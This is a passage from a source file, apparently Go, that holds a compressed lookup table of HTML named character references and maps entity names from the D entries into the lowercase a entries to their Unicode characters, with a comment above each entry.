			"\x17ubleLongLeftRightArrow;\x03⟺\x14ubleContourIntegral;\x03∯\x13ubleLeftRightArrow;\x03⇔\x13ubleLongRightArrow;\x03⟹\x12ubleLongLeftArrow;\x03⟸\x12wnLeftRightVector;\x03⥐\x11wnRightTeeVector;\x03⥟\x11wnRightVectorBar;\x03⥗\x10ubleUpDownArrow;\x03⇕\x10ubleVerticalBar;\x03∥\x10wnLeftTeeVector;\x03⥞\x10wnLeftVectorBar;\x03⥖\x0fubleRightArrow;\x03⇒\x0fwnArrowUpArrow;\x03⇵\x0eubleDownArrow;\x03⇓\x0eubleLeftArrow;\x03⇐\x0ewnRightVector;\x03⇁\x0dubleRightTee;\x03⊨\x0dwnLeftVector;\x03↽\x0cubleLeftTee;\x03⫤\x0cubleUpArrow;\x03⇑\x0bwnArrowBar;\x03⤓\x0bwnTeeArrow;\x03↧\x08ubleDot;\x02¨\x08wnArrow;\x03↓\x08wnBreve;\x02̑\x08wnarrow;\x03⇓\x07tEqual;\x03≐\x06wnTee;\x03⊤\x05tDot;\x03⃜\x03pf;\x04𝔻\x02t;\x02¨",
			// Dstrok;[Đ] Dscr;[𝒟].
			"\x05trok;\x02Đ\x03cr;\x04𝒟",
			// ENG;[Ŋ].
			"\x02G;\x02Ŋ",
			// ETH;[Ð] ETH[Ð].
			"\x02H;\x02Ð\x01H\x02Ð",
			// Eacute;[É] Eacute[É].
			"\x05cute;\x02É\x04cute\x02É",
			// Ecaron;[Ě] Ecirc;[Ê] Ecirc[Ê] Ecy;[Э].
			"\x05aron;\x02Ě\x04irc;\x02Ê\x03irc\x02Ê\x02y;\x02Э",
			// Edot;[Ė].
			"\x03ot;\x02Ė",
			// Efr;[𝔈].
			"\x02r;\x04𝔈",
			// Egrave;[È] Egrave[È].
			"\x05rave;\x02È\x04rave\x02È",
			// Element;[∈].
			"\x06ement;\x03∈",
			// EmptyVerySmallSquare;[▫] EmptySmallSquare;[◻] Emacr;[Ē].
			"\x13ptyVerySmallSquare;\x03▫\x0fptySmallSquare;\x03◻\x04acr;\x02Ē",
			// Eogon;[Ę] Eopf;[𝔼].
			"\x04gon;\x02Ę\x03pf;\x04𝔼",
			// Epsilon;[Ε].
			"\x06silon;\x02Ε",
			// Equilibrium;[⇌] EqualTilde;[≂] Equal;[⩵].
			"\x0auilibrium;\x03⇌\x09ualTilde;\x03≂\x04ual;\x03⩵",
			// Escr;[ℰ] Esim;[⩳].
			"\x03cr;\x03ℰ\x03im;\x03⩳",
			// Eta;[Η].
			"\x02a;\x02Η",
			// Euml;[Ë] Euml[Ë].
			"\x03ml;\x02Ë\x02ml\x02Ë",
			// ExponentialE;[ⅇ] Exists;[∃].
			"\x0bponentialE;\x03ⅇ\x05ists;\x03∃",
			// Fcy;[Ф].
			"\x02y;\x02Ф",
			// Ffr;[𝔉].
			"\x02r;\x04𝔉",
			// FilledVerySmallSquare;[▪] FilledSmallSquare;[◼].
			"\x14lledVerySmallSquare;\x03▪\x10lledSmallSquare;\x03◼",
			// Fouriertrf;[ℱ] ForAll;[∀] Fopf;[𝔽].
			"\x09uriertrf;\x03ℱ\x05rAll;\x03∀\x03pf;\x04𝔽",
			// Fscr;[ℱ].
			"\x03cr;\x03ℱ",
			// GJcy;[Ѓ].
			"\x03cy;\x02Ѓ",
			// GT;[>].
			"\x01;\x01>",
			// Gammad;[Ϝ] Gamma;[Γ].
			"\x05mmad;\x02Ϝ\x04mma;\x02Γ",
			// Gbreve;[Ğ].
			"\x05reve;\x02Ğ",
			// Gcedil;[Ģ] Gcirc;[Ĝ] Gcy;[Г].
			"\x05edil;\x02Ģ\x04irc;\x02Ĝ\x02y;\x02Г",
			// Gdot;[Ġ].
			"\x03ot;\x02Ġ",
			// Gfr;[𝔊].
			"\x02r;\x04𝔊",
			// Gg;[⋙].
			"\x01;\x03⋙",
			// Gopf;[𝔾].
			"\x03pf;\x04𝔾",
			// GreaterSlantEqual;[⩾] GreaterEqualLess;[⋛] GreaterFullEqual;[≧] GreaterGreater;[⪢] GreaterEqual;[≥] GreaterTilde;[≳] GreaterLess;[≷].
			"\x10eaterSlantEqual;\x03⩾\x0featerEqualLess;\x03⋛\x0featerFullEqual;\x03≧\x0deaterGreater;\x03⪢\x0beaterEqual;\x03≥\x0beaterTilde;\x03≳\x0aeaterLess;\x03≷",
			// Gscr;[𝒢].
			"\x03cr;\x04𝒢",
			// Gt;[≫].
			"\x01;\x03≫",
			// HARDcy;[Ъ].
			"\x05RDcy;\x02Ъ",
			// Hacek;[ˇ] Hat;[^].
			"\x04cek;\x02ˇ\x02t;\x01^",
			// Hcirc;[Ĥ].
			"\x04irc;\x02Ĥ",
			// Hfr;[ℌ].
			"\x02r;\x03ℌ",
			// HilbertSpace;[ℋ].
			"\x0blbertSpace;\x03ℋ",
			// HorizontalLine;[─] Hopf;[ℍ].
			"\x0drizontalLine;\x03─\x03pf;\x03ℍ",
			// Hstrok;[Ħ] Hscr;[ℋ].
			"\x05trok;\x02Ħ\x03cr;\x03ℋ",
			// HumpDownHump;[≎] HumpEqual;[≏].
			"\x0bmpDownHump;\x03≎\x08mpEqual;\x03≏",
			// IEcy;[Е].
			"\x03cy;\x02Е",
			// IJlig;[IJ].
			"\x04lig;\x02IJ",
			// IOcy;[Ё].
			"\x03cy;\x02Ё",
			// Iacute;[Í] Iacute[Í].
			"\x05cute;\x02Í\x04cute\x02Í",
			// Icirc;[Î] Icirc[Î] Icy;[И].
			"\x04irc;\x02Î\x03irc\x02Î\x02y;\x02И",
			// Idot;[İ].
			"\x03ot;\x02İ",
			// Ifr;[ℑ].
			"\x02r;\x03ℑ",
			// Igrave;[Ì] Igrave[Ì].
			"\x05rave;\x02Ì\x04rave\x02Ì",
			// ImaginaryI;[ⅈ] Implies;[⇒] Imacr;[Ī] Im;[ℑ].
			"\x09aginaryI;\x03ⅈ\x06plies;\x03⇒\x04acr;\x02Ī\x01;\x03ℑ",
			// InvisibleComma;[⁣] InvisibleTimes;[⁢] Intersection;[⋂] Integral;[∫] Int;[∬].
			"\x0dvisibleComma;\x03⁣\x0dvisibleTimes;\x03⁢\x0btersection;\x03⋂\x07tegral;\x03∫\x02t;\x03∬",
			// Iogon;[Į] Iopf;[𝕀] Iota;[Ι].
			"\x04gon;\x02Į\x03pf;\x04𝕀\x03ta;\x02Ι",
			// Iscr;[ℐ].
			"\x03cr;\x03ℐ",
			// Itilde;[Ĩ].
			"\x05ilde;\x02Ĩ",
			// Iukcy;[І] Iuml;[Ï] Iuml[Ï].
			"\x04kcy;\x02І\x03ml;\x02Ï\x02ml\x02Ï",
			// Jcirc;[Ĵ] Jcy;[Й].
			"\x04irc;\x02Ĵ\x02y;\x02Й",
			// Jfr;[𝔍].
			"\x02r;\x04𝔍",
			// Jopf;[𝕁].
			"\x03pf;\x04𝕁",
			// Jsercy;[Ј] Jscr;[𝒥].
			"\x05ercy;\x02Ј\x03cr;\x04𝒥",
			// Jukcy;[Є].
			"\x04kcy;\x02Є",
			// KHcy;[Х].
			"\x03cy;\x02Х",
			// KJcy;[Ќ].
			"\x03cy;\x02Ќ",
			// Kappa;[Κ].
			"\x04ppa;\x02Κ",
			// Kcedil;[Ķ] Kcy;[К].
			"\x05edil;\x02Ķ\x02y;\x02К",
			// Kfr;[𝔎].
			"\x02r;\x04𝔎",
			// Kopf;[𝕂].
			"\x03pf;\x04𝕂",
			// Kscr;[𝒦].
			"\x03cr;\x04𝒦",
			// LJcy;[Љ].
			"\x03cy;\x02Љ",
			// LT;[<].
			"\x01;\x01<",
			// Laplacetrf;[ℒ] Lacute;[Ĺ] Lambda;[Λ] Lang;[⟪] Larr;[↞].
			"\x09placetrf;\x03ℒ\x05cute;\x02Ĺ\x05mbda;\x02Λ\x03ng;\x03⟪\x03rr;\x03↞",
			// Lcaron;[Ľ] Lcedil;[Ļ] Lcy;[Л].
			"\x05aron;\x02Ľ\x05edil;\x02Ļ\x02y;\x02Л",
			// LeftArrowRightArrow;[⇆] LeftDoubleBracket;[⟦] LeftDownTeeVector;[⥡] LeftDownVectorBar;[⥙] LeftTriangleEqual;[⊴] LeftAngleBracket;[⟨] LeftUpDownVector;[⥑] LessEqualGreater;[⋚] LeftRightVector;[⥎] LeftTriangleBar;[⧏] LeftUpTeeVector;[⥠] LeftUpVectorBar;[⥘] LeftDownVector;[⇃] LeftRightArrow;[↔] Leftrightarrow;[⇔] LessSlantEqual;[⩽] LeftTeeVector;[⥚] LeftVectorBar;[⥒] LessFullEqual;[≦] LeftArrowBar;[⇤] LeftTeeArrow;[↤] LeftTriangle;[⊲] LeftUpVector;[↿] LeftCeiling;[⌈] LessGreater;[≶] LeftVector;[↼] LeftArrow;[←] LeftFloor;[⌊] Leftarrow;[⇐] LessTilde;[≲] LessLess;[⪡] LeftTee;[⊣].
			"\x12ftArrowRightArrow;\x03⇆\x10ftDoubleBracket;\x03⟦\x10ftDownTeeVector;\x03⥡\x10ftDownVectorBar;\x03⥙\x10ftTriangleEqual;\x03⊴\x0fftAngleBracket;\x03⟨\x0fftUpDownVector;\x03⥑\x0fssEqualGreater;\x03⋚\x0eftRightVector;\x03⥎\x0eftTriangleBar;\x03⧏\x0eftUpTeeVector;\x03⥠\x0eftUpVectorBar;\x03⥘\x0dftDownVector;\x03⇃\x0dftRightArrow;\x03↔\x0dftrightarrow;\x03⇔\x0dssSlantEqual;\x03⩽\x0cftTeeVector;\x03⥚\x0cftVectorBar;\x03⥒\x0cssFullEqual;\x03≦\x0bftArrowBar;\x03⇤\x0bftTeeArrow;\x03↤\x0bftTriangle;\x03⊲\x0bftUpVector;\x03↿\x0aftCeiling;\x03⌈\x0assGreater;\x03≶\x09ftVector;\x03↼\x08ftArrow;\x03←\x08ftFloor;\x03⌊\x08ftarrow;\x03⇐\x08ssTilde;\x03≲\x07ssLess;\x03⪡\x06ftTee;\x03⊣",
			// Lfr;[𝔏].
			"\x02r;\x04𝔏",
			// Lleftarrow;[⇚] Ll;[⋘].
			"\x09eftarrow;\x03⇚\x01;\x03⋘",
			// Lmidot;[Ŀ].
			"\x05idot;\x02Ŀ",
			// LongLeftRightArrow;[⟷] Longleftrightarrow;[⟺] LowerRightArrow;[↘] LongRightArrow;[⟶] Longrightarrow;[⟹] LowerLeftArrow;[↙] LongLeftArrow;[⟵] Longleftarrow;[⟸] Lopf;[𝕃].
			"\x11ngLeftRightArrow;\x03⟷\x11ngleftrightarrow;\x03⟺\x0ewerRightArrow;\x03↘\x0dngRightArrow;\x03⟶\x0dngrightarrow;\x03⟹\x0dwerLeftArrow;\x03↙\x0cngLeftArrow;\x03⟵\x0cngleftarrow;\x03⟸\x03pf;\x04𝕃",
			// Lstrok;[Ł] Lscr;[ℒ] Lsh;[↰].
			"\x05trok;\x02Ł\x03cr;\x03ℒ\x02h;\x03↰",
			// Lt;[≪].
			"\x01;\x03≪",
			// Map;[⤅].
			"\x02p;\x03⤅",
			// Mcy;[М].
			"\x02y;\x02М",
			// MediumSpace;[ ] Mellintrf;[ℳ].
			"\x0adiumSpace;\x03 \x08llintrf;\x03ℳ",
			// Mfr;[𝔐].
			"\x02r;\x04𝔐",
			// MinusPlus;[∓].
			"\x08nusPlus;\x03∓",
			// Mopf;[𝕄].
			"\x03pf;\x04𝕄",
			// Mscr;[ℳ].
			"\x03cr;\x03ℳ",
			// Mu;[Μ].
			"\x01;\x02Μ",
			// NJcy;[Њ].
			"\x03cy;\x02Њ",
			// Nacute;[Ń].
			"\x05cute;\x02Ń",
			// Ncaron;[Ň] Ncedil;[Ņ] Ncy;[Н].
			"\x05aron;\x02Ň\x05edil;\x02Ņ\x02y;\x02Н",
			// NegativeVeryThinSpace;[​] NestedGreaterGreater;[≫] NegativeMediumSpace;[​] NegativeThickSpace;[​] NegativeThinSpace;[​] NestedLessLess;[≪] NewLine;[\xa].
			"\x14gativeVeryThinSpace;\x03​\x13stedGreaterGreater;\x03≫\x12gativeMediumSpace;\x03​\x11gativeThickSpace;\x03​\x10gativeThinSpace;\x03​\x0dstedLessLess;\x03≪\x06wLine;\x01\xa",
			// Nfr;[𝔑].
			"\x02r;\x04𝔑",
			// NotNestedGreaterGreater;[⪢̸] NotSquareSupersetEqual;[⋣] NotPrecedesSlantEqual;[⋠] NotRightTriangleEqual;[⋭] NotSucceedsSlantEqual;[⋡] NotDoubleVerticalBar;[∦] NotGreaterSlantEqual;[⩾̸] NotLeftTriangleEqual;[⋬] NotSquareSubsetEqual;[⋢] NotGreaterFullEqual;[≧̸] NotRightTriangleBar;[⧐̸] NotLeftTriangleBar;[⧏̸] NotGreaterGreater;[≫̸] NotLessSlantEqual;[⩽̸] NotNestedLessLess;[⪡̸] NotReverseElement;[∌] NotSquareSuperset;[⊐̸] NotTildeFullEqual;[≇] NonBreakingSpace;[ ] NotPrecedesEqual;[⪯̸] NotRightTriangle;[⋫] NotSucceedsEqual;[⪰̸] NotSucceedsTilde;[≿̸] NotSupersetEqual;[⊉] NotGreaterEqual;[≱] NotGreaterTilde;[≵] NotHumpDownHump;[≎̸] NotLeftTriangle;[⋪] NotSquareSubset;[⊏̸] NotGreaterLess;[≹] NotLessGreater;[≸] NotSubsetEqual;[⊈] NotVerticalBar;[∤] NotEqualTilde;[≂̸] NotTildeEqual;[≄] NotTildeTilde;[≉] NotCongruent;[≢] NotHumpEqual;[≏̸] NotLessEqual;[≰] NotLessTilde;[≴] NotLessLess;[≪̸] NotPrecedes;[⊀] NotSucceeds;[⊁] NotSuperset;[⊃⃒] NotElement;[∉] NotGreater;[≯] NotCupCap;[≭] NotExists;[∄] NotSubset;[⊂⃒] NotEqual;[≠] NotTilde;[≁] NoBreak;[⁠] NotLess;[≮] Nopf;[ℕ] Not;[⫬].
			"\x16tNestedGreaterGreater;\x05⪢̸\x15tSquareSupersetEqual;\x03⋣\x14tPrecedesSlantEqual;\x03⋠\x14tRightTriangleEqual;\x03⋭\x14tSucceedsSlantEqual;\x03⋡\x13tDoubleVerticalBar;\x03∦\x13tGreaterSlantEqual;\x05⩾̸\x13tLeftTriangleEqual;\x03⋬\x13tSquareSubsetEqual;\x03⋢\x12tGreaterFullEqual;\x05≧̸\x12tRightTriangleBar;\x05⧐̸\x11tLeftTriangleBar;\x05⧏̸\x10tGreaterGreater;\x05≫̸\x10tLessSlantEqual;\x05⩽̸\x10tNestedLessLess;\x05⪡̸\x10tReverseElement;\x03∌\x10tSquareSuperset;\x05⊐̸\x10tTildeFullEqual;\x03≇\x0fnBreakingSpace;\x02 \x0ftPrecedesEqual;\x05⪯̸\x0ftRightTriangle;\x03⋫\x0ftSucceedsEqual;\x05⪰̸\x0ftSucceedsTilde;\x05≿̸\x0ftSupersetEqual;\x03⊉\x0etGreaterEqual;\x03≱\x0etGreaterTilde;\x03≵\x0etHumpDownHump;\x05≎̸\x0etLeftTriangle;\x03⋪\x0etSquareSubset;\x05⊏̸\x0dtGreaterLess;\x03≹\x0dtLessGreater;\x03≸\x0dtSubsetEqual;\x03⊈\x0dtVerticalBar;\x03∤\x0ctEqualTilde;\x05≂̸\x0ctTildeEqual;\x03≄\x0ctTildeTilde;\x03≉\x0btCongruent;\x03≢\x0btHumpEqual;\x05≏̸\x0btLessEqual;\x03≰\x0btLessTilde;\x03≴\x0atLessLess;\x05≪̸\x0atPrecedes;\x03⊀\x0atSucceeds;\x03⊁\x0atSuperset;\x06⊃⃒\x09tElement;\x03∉\x09tGreater;\x03≯\x08tCupCap;\x03≭\x08tExists;\x03∄\x08tSubset;\x06⊂⃒\x07tEqual;\x03≠\x07tTilde;\x03≁\x06Break;\x03⁠\x06tLess;\x03≮\x03pf;\x03ℕ\x02t;\x03⫬",
			// Nscr;[𝒩].
			"\x03cr;\x04𝒩",
			// Ntilde;[Ñ] Ntilde[Ñ].
			"\x05ilde;\x02Ñ\x04ilde\x02Ñ",
			// Nu;[Ν].
			"\x01;\x02Ν",
			// OElig;[Œ].
			"\x04lig;\x02Œ",
			// Oacute;[Ó] Oacute[Ó].
			"\x05cute;\x02Ó\x04cute\x02Ó",
			// Ocirc;[Ô] Ocirc[Ô] Ocy;[О].
			"\x04irc;\x02Ô\x03irc\x02Ô\x02y;\x02О",
			// Odblac;[Ő].
			"\x05blac;\x02Ő",
			// Ofr;[𝔒].
			"\x02r;\x04𝔒",
			// Ograve;[Ò] Ograve[Ò].
			"\x05rave;\x02Ò\x04rave\x02Ò",
			// Omicron;[Ο] Omacr;[Ō] Omega;[Ω].
			"\x06icron;\x02Ο\x04acr;\x02Ō\x04ega;\x02Ω",
			// Oopf;[𝕆].
			"\x03pf;\x04𝕆",
			// OpenCurlyDoubleQuote;[“] OpenCurlyQuote;[‘].
			"\x13enCurlyDoubleQuote;\x03“\x0denCurlyQuote;\x03‘",
			// Or;[⩔].
			"\x01;\x03⩔",
			// Oslash;[Ø] Oslash[Ø] Oscr;[𝒪].
			"\x05lash;\x02Ø\x04lash\x02Ø\x03cr;\x04𝒪",
			// Otilde;[Õ] Otimes;[⨷] Otilde[Õ].
			"\x05ilde;\x02Õ\x05imes;\x03⨷\x04ilde\x02Õ",
			// Ouml;[Ö] Ouml[Ö].
			"\x03ml;\x02Ö\x02ml\x02Ö",
			// OverParenthesis;[⏜] OverBracket;[⎴] OverBrace;[⏞] OverBar;[‾].
			"\x0eerParenthesis;\x03⏜\x0aerBracket;\x03⎴\x08erBrace;\x03⏞\x06erBar;\x03‾",
			// PartialD;[∂].
			"\x07rtialD;\x03∂",
			// Pcy;[П].
			"\x02y;\x02П",
			// Pfr;[𝔓].
			"\x02r;\x04𝔓",
			// Phi;[Φ].
			"\x02i;\x02Φ",
			// Pi;[Π].
			"\x01;\x02Π",
			// PlusMinus;[±].
			"\x08usMinus;\x02±",
			// Poincareplane;[ℌ] Popf;[ℙ].
			"\x0cincareplane;\x03ℌ\x03pf;\x03ℙ",
			// PrecedesSlantEqual;[≼] PrecedesEqual;[⪯] PrecedesTilde;[≾] Proportional;[∝] Proportion;[∷] Precedes;[≺] Product;[∏] Prime;[″] Pr;[⪻].
			"\x11ecedesSlantEqual;\x03≼\x0cecedesEqual;\x03⪯\x0cecedesTilde;\x03≾\x0boportional;\x03∝\x09oportion;\x03∷\x07ecedes;\x03≺\x06oduct;\x03∏\x04ime;\x03″\x01;\x03⪻",
			// Pscr;[𝒫] Psi;[Ψ].
			"\x03cr;\x04𝒫\x02i;\x02Ψ",
			// QUOT;[\"] QUOT[\"].
			"\x03OT;\x01\"\x02OT\x01\"",
			// Qfr;[𝔔].
			"\x02r;\x04𝔔",
			// Qopf;[ℚ].
			"\x03pf;\x03ℚ",
			// Qscr;[𝒬].
			"\x03cr;\x04𝒬",
			// RBarr;[⤐].
			"\x04arr;\x03⤐",
			// REG;[®] REG[®].
			"\x02G;\x02®\x01G\x02®",
			// Racute;[Ŕ] Rarrtl;[⤖] Rang;[⟫] Rarr;[↠].
			"\x05cute;\x02Ŕ\x05rrtl;\x03⤖\x03ng;\x03⟫\x03rr;\x03↠",
			// Rcaron;[Ř] Rcedil;[Ŗ] Rcy;[Р].
			"\x05aron;\x02Ř\x05edil;\x02Ŗ\x02y;\x02Р",
			// ReverseUpEquilibrium;[⥯] ReverseEquilibrium;[⇋] ReverseElement;[∋] Re;[ℜ].
			"\x13verseUpEquilibrium;\x03⥯\x11verseEquilibrium;\x03⇋\x0dverseElement;\x03∋\x01;\x03ℜ",
			// Rfr;[ℜ].
			"\x02r;\x03ℜ",
			// Rho;[Ρ].
			"\x02o;\x02Ρ",
			// RightArrowLeftArrow;[⇄] RightDoubleBracket;[⟧] RightDownTeeVector;[⥝] RightDownVectorBar;[⥕] RightTriangleEqual;[⊵] RightAngleBracket;[⟩] RightUpDownVector;[⥏] RightTriangleBar;[⧐] RightUpTeeVector;[⥜] RightUpVectorBar;[⥔] RightDownVector;[⇂] RightTeeVector;[⥛] RightVectorBar;[⥓] RightArrowBar;[⇥] RightTeeArrow;[↦] RightTriangle;[⊳] RightUpVector;[↾] RightCeiling;[⌉] RightVector;[⇀] RightArrow;[→] RightFloor;[⌋] Rightarrow;[⇒] RightTee;[⊢].
			"\x12ghtArrowLeftArrow;\x03⇄\x11ghtDoubleBracket;\x03⟧\x11ghtDownTeeVector;\x03⥝\x11ghtDownVectorBar;\x03⥕\x11ghtTriangleEqual;\x03⊵\x10ghtAngleBracket;\x03⟩\x10ghtUpDownVector;\x03⥏\x0fghtTriangleBar;\x03⧐\x0fghtUpTeeVector;\x03⥜\x0fghtUpVectorBar;\x03⥔\x0eghtDownVector;\x03⇂\x0dghtTeeVector;\x03⥛\x0dghtVectorBar;\x03⥓\x0cghtArrowBar;\x03⇥\x0cghtTeeArrow;\x03↦\x0cghtTriangle;\x03⊳\x0cghtUpVector;\x03↾\x0bghtCeiling;\x03⌉\x0aghtVector;\x03⇀\x09ghtArrow;\x03→\x09ghtFloor;\x03⌋\x09ghtarrow;\x03⇒\x07ghtTee;\x03⊢",
			// RoundImplies;[⥰] Ropf;[ℝ].
			"\x0bundImplies;\x03⥰\x03pf;\x03ℝ",
			// Rrightarrow;[⇛].
			"\x0aightarrow;\x03⇛",
			// Rscr;[ℛ] Rsh;[↱].
			"\x03cr;\x03ℛ\x02h;\x03↱",
			// RuleDelayed;[⧴].
			"\x0aleDelayed;\x03⧴",
			// SHCHcy;[Щ] SHcy;[Ш].
			"\x05CHcy;\x02Щ\x03cy;\x02Ш",
			// SOFTcy;[Ь].
			"\x05FTcy;\x02Ь",
			// Sacute;[Ś].
			"\x05cute;\x02Ś",
			// Scaron;[Š] Scedil;[Ş] Scirc;[Ŝ] Scy;[С] Sc;[⪼].
			"\x05aron;\x02Š\x05edil;\x02Ş\x04irc;\x02Ŝ\x02y;\x02С\x01;\x03⪼",
			// Sfr;[𝔖].
			"\x02r;\x04𝔖",
			// ShortRightArrow;[→] ShortDownArrow;[↓] ShortLeftArrow;[←] ShortUpArrow;[↑].
			"\x0eortRightArrow;\x03→\x0dortDownArrow;\x03↓\x0dortLeftArrow;\x03←\x0bortUpArrow;\x03↑",
			// Sigma;[Σ].
			"\x04gma;\x02Σ",
			// SmallCircle;[∘].
			"\x0aallCircle;\x03∘",
			// Sopf;[𝕊].
			"\x03pf;\x04𝕊",
			// SquareSupersetEqual;[⊒] SquareIntersection;[⊓] SquareSubsetEqual;[⊑] SquareSuperset;[⊐] SquareSubset;[⊏] SquareUnion;[⊔] Square;[□] Sqrt;[√].
			"\x12uareSupersetEqual;\x03⊒\x11uareIntersection;\x03⊓\x10uareSubsetEqual;\x03⊑\x0duareSuperset;\x03⊐\x0buareSubset;\x03⊏\x0auareUnion;\x03⊔\x05uare;\x03□\x03rt;\x03√",
			// Sscr;[𝒮].
			"\x03cr;\x04𝒮",
			// Star;[⋆].
			"\x03ar;\x03⋆",
			// SucceedsSlantEqual;[≽] SucceedsEqual;[⪰] SucceedsTilde;[≿] SupersetEqual;[⊇] SubsetEqual;[⊆] Succeeds;[≻] SuchThat;[∋] Superset;[⊃] Subset;[⋐] Supset;[⋑] Sub;[⋐] Sum;[∑] Sup;[⋑].
			"\x11cceedsSlantEqual;\x03≽\x0ccceedsEqual;\x03⪰\x0ccceedsTilde;\x03≿\x0cpersetEqual;\x03⊇\x0absetEqual;\x03⊆\x07cceeds;\x03≻\x07chThat;\x03∋\x07perset;\x03⊃\x05bset;\x03⋐\x05pset;\x03⋑\x02b;\x03⋐\x02m;\x03∑\x02p;\x03⋑",
			// THORN;[Þ] THORN[Þ].
			"\x04ORN;\x02Þ\x03ORN\x02Þ",
			// TRADE;[™].
			"\x04ADE;\x03™",
			// TSHcy;[Ћ] TScy;[Ц].
			"\x04Hcy;\x02Ћ\x03cy;\x02Ц",
			// Tab;[\x9] Tau;[Τ].
			"\x02b;\x01\x9\x02u;\x02Τ",
			// Tcaron;[Ť] Tcedil;[Ţ] Tcy;[Т].
			"\x05aron;\x02Ť\x05edil;\x02Ţ\x02y;\x02Т",
			// Tfr;[𝔗].
			"\x02r;\x04𝔗",
			// ThickSpace;[  ] Therefore;[∴] ThinSpace;[ ] Theta;[Θ].
			"\x09ickSpace;\x06  \x08erefore;\x03∴\x08inSpace;\x03 \x04eta;\x02Θ",
			// TildeFullEqual;[≅] TildeEqual;[≃] TildeTilde;[≈] Tilde;[∼].
			"\x0dldeFullEqual;\x03≅\x09ldeEqual;\x03≃\x09ldeTilde;\x03≈\x04lde;\x03∼",
			// Topf;[𝕋].
			"\x03pf;\x04𝕋",
			// TripleDot;[⃛].
			"\x08ipleDot;\x03⃛",
			// Tstrok;[Ŧ] Tscr;[𝒯].
			"\x05trok;\x02Ŧ\x03cr;\x04𝒯",
			// Uarrocir;[⥉] Uacute;[Ú] Uacute[Ú] Uarr;[↟].
			"\x07rrocir;\x03⥉\x05cute;\x02Ú\x04cute\x02Ú\x03rr;\x03↟",
			// Ubreve;[Ŭ] Ubrcy;[Ў].
			"\x05reve;\x02Ŭ\x04rcy;\x02Ў",
			// Ucirc;[Û] Ucirc[Û] Ucy;[У].
			"\x04irc;\x02Û\x03irc\x02Û\x02y;\x02У",
			// Udblac;[Ű].
			"\x05blac;\x02Ű",
			// Ufr;[𝔘].
			"\x02r;\x04𝔘",
			// Ugrave;[Ù] Ugrave[Ù].
			"\x05rave;\x02Ù\x04rave\x02Ù",
			// Umacr;[Ū].
			"\x04acr;\x02Ū",
			// UnderParenthesis;[⏝] UnderBracket;[⎵] UnderBrace;[⏟] UnionPlus;[⊎] UnderBar;[_] Union;[⋃].
			"\x0fderParenthesis;\x03⏝\x0bderBracket;\x03⎵\x09derBrace;\x03⏟\x08ionPlus;\x03⊎\x07derBar;\x01_\x04ion;\x03⋃",
			// Uogon;[Ų] Uopf;[𝕌].
			"\x04gon;\x02Ų\x03pf;\x04𝕌",
			// UpArrowDownArrow;[⇅] UpperRightArrow;[↗] UpperLeftArrow;[↖] UpEquilibrium;[⥮] UpDownArrow;[↕] Updownarrow;[⇕] UpArrowBar;[⤒] UpTeeArrow;[↥] UpArrow;[↑] Uparrow;[⇑] Upsilon;[Υ] UpTee;[⊥] Upsi;[ϒ].
			"\x0fArrowDownArrow;\x03⇅\x0eperRightArrow;\x03↗\x0dperLeftArrow;\x03↖\x0cEquilibrium;\x03⥮\x0aDownArrow;\x03↕\x0adownarrow;\x03⇕\x09ArrowBar;\x03⤒\x09TeeArrow;\x03↥\x06Arrow;\x03↑\x06arrow;\x03⇑\x06silon;\x02Υ\x04Tee;\x03⊥\x03si;\x02ϒ",
			// Uring;[Ů].
			"\x04ing;\x02Ů",
			// Uscr;[𝒰].
			"\x03cr;\x04𝒰",
			// Utilde;[Ũ].
			"\x05ilde;\x02Ũ",
			// Uuml;[Ü] Uuml[Ü].
			"\x03ml;\x02Ü\x02ml\x02Ü",
			// VDash;[⊫].
			"\x04ash;\x03⊫",
			// Vbar;[⫫].
			"\x03ar;\x03⫫",
			// Vcy;[В].
			"\x02y;\x02В",
			// Vdashl;[⫦] Vdash;[⊩].
			"\x05ashl;\x03⫦\x04ash;\x03⊩",
			// VerticalSeparator;[❘] VerticalTilde;[≀] VeryThinSpace;[ ] VerticalLine;[|] VerticalBar;[∣] Verbar;[‖] Vert;[‖] Vee;[⋁].
			"\x10rticalSeparator;\x03❘\x0crticalTilde;\x03≀\x0cryThinSpace;\x03 \x0brticalLine;\x01|\x0articalBar;\x03∣\x05rbar;\x03‖\x03rt;\x03‖\x02e;\x03⋁",
			// Vfr;[𝔙].
			"\x02r;\x04𝔙",
			// Vopf;[𝕍].
			"\x03pf;\x04𝕍",
			// Vscr;[𝒱].
			"\x03cr;\x04𝒱",
			// Vvdash;[⊪].
			"\x05dash;\x03⊪",
			// Wcirc;[Ŵ].
			"\x04irc;\x02Ŵ",
			// Wedge;[⋀].
			"\x04dge;\x03⋀",
			// Wfr;[𝔚].
			"\x02r;\x04𝔚",
			// Wopf;[𝕎].
			"\x03pf;\x04𝕎",
			// Wscr;[𝒲].
			"\x03cr;\x04𝒲",
			// Xfr;[𝔛].
			"\x02r;\x04𝔛",
			// Xi;[Ξ].
			"\x01;\x02Ξ",
			// Xopf;[𝕏].
			"\x03pf;\x04𝕏",
			// Xscr;[𝒳].
			"\x03cr;\x04𝒳",
			// YAcy;[Я].
			"\x03cy;\x02Я",
			// YIcy;[Ї].
			"\x03cy;\x02Ї",
			// YUcy;[Ю].
			"\x03cy;\x02Ю",
			// Yacute;[Ý] Yacute[Ý].
			"\x05cute;\x02Ý\x04cute\x02Ý",
			// Ycirc;[Ŷ] Ycy;[Ы].
			"\x04irc;\x02Ŷ\x02y;\x02Ы",
			// Yfr;[𝔜].
			"\x02r;\x04𝔜",
			// Yopf;[𝕐].
			"\x03pf;\x04𝕐",
			// Yscr;[𝒴].
			"\x03cr;\x04𝒴",
			// Yuml;[Ÿ].
			"\x03ml;\x02Ÿ",
			// ZHcy;[Ж].
			"\x03cy;\x02Ж",
			// Zacute;[Ź].
			"\x05cute;\x02Ź",
			// Zcaron;[Ž] Zcy;[З].
			"\x05aron;\x02Ž\x02y;\x02З",
			// Zdot;[Ż].
			"\x03ot;\x02Ż",
			// ZeroWidthSpace;[​] Zeta;[Ζ].
			"\x0droWidthSpace;\x03​\x03ta;\x02Ζ",
			// Zfr;[ℨ].
			"\x02r;\x03ℨ",
			// Zopf;[ℤ].
			"\x03pf;\x03ℤ",
			// Zscr;[𝒵].
			"\x03cr;\x04𝒵",
			// aacute;[á] aacute[á].
			"\x05cute;\x02á\x04cute\x02á",
			// abreve;[ă].
			"\x05reve;\x02ă",
			// acirc;[â] acute;[´] acirc[â] acute[´] acE;[∾̳] acd;[∿] acy;[а] ac;[∾].
